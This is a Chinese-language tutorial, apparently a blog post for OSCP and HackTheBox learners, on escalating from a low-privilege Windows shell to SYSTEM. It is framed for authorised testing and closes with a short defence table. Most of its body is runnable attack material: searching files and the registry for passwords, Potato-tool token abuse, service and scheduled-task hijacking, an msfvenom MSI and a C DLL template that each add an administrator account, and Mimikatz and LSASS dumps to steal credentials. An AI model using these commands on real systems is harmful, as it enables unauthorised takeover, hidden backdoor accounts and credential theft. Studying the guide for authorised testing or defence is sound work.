Windows 提权完全指南:从立足点到 SYSTEM 的 7 条路径
声明:本文内容仅用于授权渗透测试和安全研究学习,所有示例均基于 HackTheBox 等合法靶机平台。
引言:为什么提权是渗透测试中最关键的一步
拿到 shell,不等于拿下目标。
我打了几十台 Windows 靶机,每次从 www-data 或者普通用户的 shell 爬升到 SYSTEM 的那一刻,都会有一种说不出的爽感。但在这之前,往往是一段漫长的枚举、试错、再枚举的过程。
Windows 提权(Privilege Escalation)就是把一个受限账户的权限提升到管理员(Administrator)或系统(SYSTEM)级别的过程。在真实的红队场景里,往往拿到的初始立足点只是一个低权限的服务账户,提权才能真正控制系统、转储凭据、横向移动。
这篇文章把我踩过的坑、总结的经验和最实用的命令整合在一起,覆盖 Windows 提权的 7 条主要路径——从最容易被忽视的文件凭据,到最常见的 SeImpersonatePrivilege 提权,再到内核漏洞的最后手段。
适合读者:有初步渗透基础、想系统掌握 Windows 提权的安全从业者和 OSCP/HTB 备考者。
一、先搞清楚:Windows 的权限体系
在动手提权之前,必须先理解对手(Windows 安全模型)。
1.1 账户层级
SYSTEM(最高)
↑
Administrator(管理员)
↑
Standard User(标准用户)
↑
Guest(来宾)渗透视角:大多数情况下,我们拿到的初始 shell 是以下之一:
- IIS/MSSQL 服务账户(低权限,但通常有 SeImpersonatePrivilege)
- 应用程序用户(最受限)
- 普通域用户(通过 Web 漏洞或凭据泄露获取)
目标是从上面任意一个提升到 SYSTEM(优先)或 Administrator。
1.2 访问令牌(Access Token)
Windows 用 Access Token 来决定进程能做什么。Token 里包含:
- 用户 SID(身份)
- 组 SID(所属组)
- 特权列表(Privileges) ← 提权最关键的地方
拿到 shell 后立刻执行的第一条命令:
whoami /priv如果你看到 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 处于 Enabled 状态——恭喜,基本稳了(见路径 #4)。
1.3 完整性级别(MIC)
Windows Vista 之后,每个进程都有完整性级别:
- Low:沙盒环境(IE 保护模式)
- Medium:默认标准用户
- High:管理员权限进程
- System:核心系统进程
UAC 的本质就是把管理员账户的进程限制在 Medium,需要确认才升 High。绕过 UAC 就是让进程从 Medium 跳到 High,而不弹出确认窗口。
二、提权前必做:系统枚举
提权失败的最常见原因不是技术不行,是枚举没做到位。
手动枚举核心命令
# 1. 确认当前身份和特权
whoami
whoami /priv
whoami /groups
# 2. 系统版本(找缺失补丁)
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 3. 已安装补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 4. 运行中的服务
wmic service get name,pathname,startmode,startname | findstr /i "auto"
sc query
# 5. 计划任务
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
# 6. 密码搜索
findstr /si password *.txt *.xml *.ini *.config
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s自动化工具(首选)
# WinPEAS(最全面,强烈推荐)
.\winPEASx64.exe
# PowerUp(PowerShell枚举)
. .\PowerUp.ps1
Invoke-AllChecks
# Seatbelt
.\Seatbelt.exe -group=all我的习惯:先跑 WinPEAS,边看输出边手动验证高亮项。WinPEAS 的彩色输出中,红色高亮基本都值得深挖。
三、7 条主要提权路径
路径 1:文件中的凭据(最容易出现,最被低估)
我在 HTB Resolute 靶机上第一次靠这个拿到权限的。
Windows 环境下凭据可能藏在意想不到的地方:
# PowerShell 历史文件(高频出现!)
(Get-PSReadLineOption).HistorySavePath
# 默认路径:C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
gc (Get-PSReadLineOption).HistorySavePath
# 批量检查所有用户的历史
foreach($user in ((ls C:\users).fullname)){
cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
}
# 注册表中的 AutoLogon 密码
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# Cmdkey 保存的凭据(可直接 runas /savecred 使用)
cmdkey /list
# IIS web.config
type C:\inetpub\wwwroot\web.config
# 无人值守安装文件(常有管理员密码)
dir /s /b unattend.xml sysprep.xml实战经验:找到任何密码,立刻测试 SSH/RDP/WinRM/SMB——凭据重用的成功率远超你的预期。
路径 2:滥用特权(最高频——只要是服务账户就必检查)
这是我在 HTB 中遇到最多的路径。
检查特权的关键:
whoami /priv| 特权 | 含义 | 利用方式 |
|---|---|---|
| SeImpersonatePrivilege | 模拟客户端令牌 | Potato 系列 |
| SeAssignPrimaryTokenPrivilege | 分配主令牌 | Potato 系列 |
| SeBackupPrivilege | 备份文件系统 | 读取任意文件(SAM/NTDS) |
| SeRestorePrivilege | 恢复文件系统 | 写入任意文件 |
| SeDebugPrivilege | 调试进程 | 转储 LSASS 内存 |
| SeTakeOwnershipPrivilege | 获取文件所有权 | 控制系统文件 |
SeImpersonatePrivilege → GodPotato(最常见路径)
IIS、MSSQL 等服务账户几乎都有这个特权。
# 检测
whoami /priv | findstr "SeImpersonatePrivilege"
# GodPotato(推荐,Win 8-11 / Server 2012-2022 全覆盖)
.\GodPotato.exe -cmd "cmd /c whoami"
.\GodPotato.exe -cmd "cmd /c net user admin P@ssw0rd /add && net localgroup administrators admin /add"
# PrintSpoofer(Win 10 / Server 2019,速度更快)
.\PrintSpoofer.exe -i -c cmd
# JuicyPotato(Win 7-10 / Server 2008-2016 旧版)
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}路径 3:配置错误(服务/注册表/文件权限)
3.1 未引号服务路径(Unquoted Service Path)
# 检测含空格且未用引号的服务路径
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"原理:路径为 C:\Program Files\Vuln Service\service.exe,Windows 会先尝试执行 C:\Program.exe,C:\Program Files\Vuln.exe 等。如果这些路径可写,就可以放入恶意程序。
3.2 弱服务权限
# 检测服务权限
.\accesschk.exe -uwcqv "Authenticated Users" * 2>nul
.\accesschk.exe -uwcqv %username% * 2>nul
# 利用:修改服务二进制路径
sc config "VulnService" binpath= "cmd /c net user admin P@ssw0rd /add"
sc stop "VulnService"
sc start "VulnService"3.3 AlwaysInstallElevated
# 检测(两个都为 1 才存在漏洞)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 利用
msfvenom -p windows/exec CMD='net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add' -f msi > evil.msi
msiexec /quiet /qn /i evil.msi路径 4:计划任务(脚本可写)
# 查看非 Microsoft 的计划任务
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|task to run"
# PowerShell
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName,TaskPath
# 检查脚本是否可写
Get-ScheduledTask | ForEach-Object {
$path = $_.Actions.Execute
if ($path) { Get-Acl $path -ErrorAction SilentlyContinue | Select-Object Path,AccessToString }
}利用:找到 SYSTEM 权限运行且脚本文件可写的任务,替换脚本内容为反弹 shell 或添加用户命令。
路径 5:DLL 劫持
当服务以高权限启动,但从可写路径加载 DLL 时可利用。
# 用 Process Monitor 检测(过滤 NAME NOT FOUND + 路径可写)
# 或 PowerSploit
Find-PathDLLHijack
Find-ProcessDLLHijack写恶意 DLL(C 语言模板):
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system("cmd /c net user admin P@ssw0rd /add && net localgroup administrators admin /add");
}
return TRUE;
}路径 6:凭据转储(拿到 SYSTEM 后的下一步)
有了足够权限后,转储哈希是横向移动的前提:
# 方法1:Mimikatz(直接提取明文密码或哈希)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exit
# 方法2:注册表提取 SAM(离线破解)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive
# 攻击机:impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL
# 方法3:无工具 LSASS 转储
tasklist | findstr lsass
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_PID> lsass.dmp full路径 7:内核漏洞(最后手段)
当以上路径都走不通,才考虑内核漏洞。
# 检测系统版本
systeminfo | findstr /B /C:"OS Version"
# 自动检测(推荐)
.\Watson.exe高频 Windows 内核漏洞:
| 漏洞 | CVE | 影响版本 |
|---|---|---|
| EternalBlue | MS17-010 | Win 7/Server 2008R2(无补丁) |
| MS16-032 | CVE-2016-099x | Win 7-10/Server 2008-2012 |
| PrintNightmare | CVE-2021-1675 | Win 10/11/Server 2019/2022 |
| HiveNightmare | CVE-2021-36934 | Win 10 2004-21H1 |
四、完整提权决策树
拿到初始Shell
↓
whoami /priv → 有 SeImpersonatePrivilege?
YES → GodPotato / PrintSpoofer → SYSTEM
NO ↓
文件凭据搜索 → 找到密码?
YES → 凭据重用 / runas → 提权成功?
NO ↓
WinPEAS 全扫描 → 看高亮部分
↓
服务配置错误? → Unquoted Path / 弱服务权限 → 提权
↓
计划任务脚本可写? → 替换脚本 → 提权
↓
AlwaysInstallElevated? → MSI恶意安装包 → 提权
↓
DLL劫持? → 放置恶意DLL → 提权
↓
systeminfo → Watson → 内核漏洞 → 提权五、蓝队视角:这些路径怎么防
| 攻击路径 | 防御措施 |
|---|---|
| 文件凭据泄露 | 禁用 PowerShell 历史明文保存;加密配置文件;审计注册表 |
| SeImpersonatePrivilege 滥用 | 最小权限原则;服务账户不给不必要特权 |
| 服务配置错误 | 服务路径使用引号;检查 ACL;定期审计 |
| AlwaysInstallElevated | GPO 禁用该设置 |
| 内核漏洞 | 及时打补丁;WSUS 统一管理 |
| 凭据转储 | 启用 Protected Users 组;Credential Guard;启用 Tamper Protection |
六、工具清单
| 工具 | 用途 | 下载 |
|---|---|---|
| WinPEAS | 全面枚举 | GitHub: peass-ng |
| GodPotato | SeImpersonate提权 | GitHub: BeichenDream |
| PrintSpoofer | SeImpersonate提权 | GitHub: itm4n |
| PowerUp | PowerShell枚举 | PowerSploit |
| Watson | 补丁检测 | GitHub: rasta-mouse |
| Mimikatz | 凭据转储 | GitHub: gentilkiwi |
| accesschk.exe | 服务权限检测 | Sysinternals |
关键收获
- SeImpersonatePrivilege 见一次赚一次:IIS/MSSQL 服务账户几乎必有,GodPotato 是通用解法。
- 枚举优先于技巧:WinPEAS 输出的高亮项,逐条验证,答案就在里面。
- 凭据重用成功率极高:找到任何密码,在所有可用服务上都试一遍。
参考资料
- HackTricks - Windows Local Privilege Escalation
- PayloadsAllTheThings - Windows Privesc
- LOLBAS Project
- HackTheBox 推荐练习靶机:Resolute, Forest, Active

